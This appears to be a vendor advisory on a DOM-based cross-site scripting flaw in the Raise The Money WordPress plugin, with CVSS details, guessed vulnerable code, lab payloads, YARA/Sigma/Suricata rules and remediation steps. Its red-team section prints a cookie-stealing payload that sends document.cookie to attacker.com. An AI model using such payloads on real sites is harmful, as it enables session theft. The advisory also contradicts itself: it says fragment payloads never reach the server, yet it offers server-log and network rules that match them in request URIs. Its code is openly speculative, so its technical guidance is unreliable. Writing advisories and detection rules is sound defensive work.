CVE-2025-53321

Executive Summary

CVE-2025-53321 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Raise The Money WordPress plugin, affecting versions up to and including 5.2. The vulnerability arises from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of a victim's browser. Since this is a DOM-based XSS, the payload is processed entirely client-side, bypassing server-side filters. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the limited impact on confidentiality and integrity. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin directly from the WordPress dashboard or via manual upload are at risk. The lack of a patch or advisory from the vendor increases supply chain risk, as no official update is available to remediate the issue. Organizations should treat this as a high-priority finding and consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the plugin's widespread use. The lack of a patch elevates the risk for unmanaged installations.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the malicious payload is never sent to the server; instead, it is injected into the DOM via client-side JavaScript. The plugin likely uses document.write, innerHTML, or eval on unsanitized input from window.location, document.URL, or document.referrer. An attacker can craft a URL with a malicious fragment or query parameter that, when processed by the plugin's JavaScript, executes arbitrary HTML/JavaScript in the victim's browser.

For example, a URL like:

https://victim-site.com/?page=#<img src=x onerror=alert(1)>

could trigger the XSS if the plugin reads the fragment identifier without sanitization.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern. The vulnerable code likely resembles:

// Vulnerable code
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

A patched version would sanitize the input:

// Patched code
var userInput = window.location.hash.substring(1);
var safeInput = document.createTextNode(userInput);
document.getElementById('output').appendChild(safeInput);

Or use a DOMPurify library:

// Patched code using DOMPurify
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);

Exploitation & Lab Setup

Red Team

Since no public exploit exists, a red team can craft a proof-of-concept. Set up a local WordPress instance with the vulnerable plugin (version 5.2). Create a malicious link:

http://localhost/wordpress/?page=#<script>alert('XSS')</script>

If the plugin reads the hash and injects it into the DOM, the alert will fire. For a more realistic attack, use a payload that steals cookies:

http://localhost/wordpress/?page=#<img src=x onerror="document.location='http://attacker.com/steal.php?c='+document.cookie">

Blue Team

To detect exploitation attempts, monitor web server logs for unusual URL fragments containing <script>, <img onerror>, or other HTML event handlers. Use the following Suricata rule to alert on such patterns.

Indicators of Compromise (IOCs)

• URL Patterns: URLs containing #<script, #<img, #<svg, or other HTML tags in the fragment.
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the victim's browser.
• File Hashes: The plugin file raise-the-money.php (or similar) with MD5 hash UNKNOWN (no specific hash available).
• DOM Artifacts: Presence of unexpected script elements or event handlers in the page DOM.

Detection Engineering

YARA Rule

rule CVE_2025_53321_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS patterns in Raise The Money plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53321"
    strings:
        $xss1 = /window\.location\.hash/
        $xss2 = /document\.write/
        $xss3 = /innerHTML/
        $xss4 = /\.location\.hash/
    condition:
        any of ($xss*) and filesize < 1MB
}

Sigma Rule

title: CVE-2025-53321 DOM-Based XSS in Raise The Money Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of DOM-based XSS in Raise The Money plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with HTML tags (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53321 DOM-Based XSS Attempt"; flow:to_server; content:"#<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Action: Disable the Raise The Money plugin until a patch is released.
• Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing HTML tags in the URL fragment.
• Code Fix: If you have access to the plugin source, replace all instances of innerHTML with safe DOM manipulation methods (e.g., textContent, createTextNode).
• Monitoring: Enable logging of URL fragments and review for suspicious patterns.
• User Education: Advise users not to click on untrusted links, especially those containing # followed by HTML.

Valters IT
Securing Digital Frontiers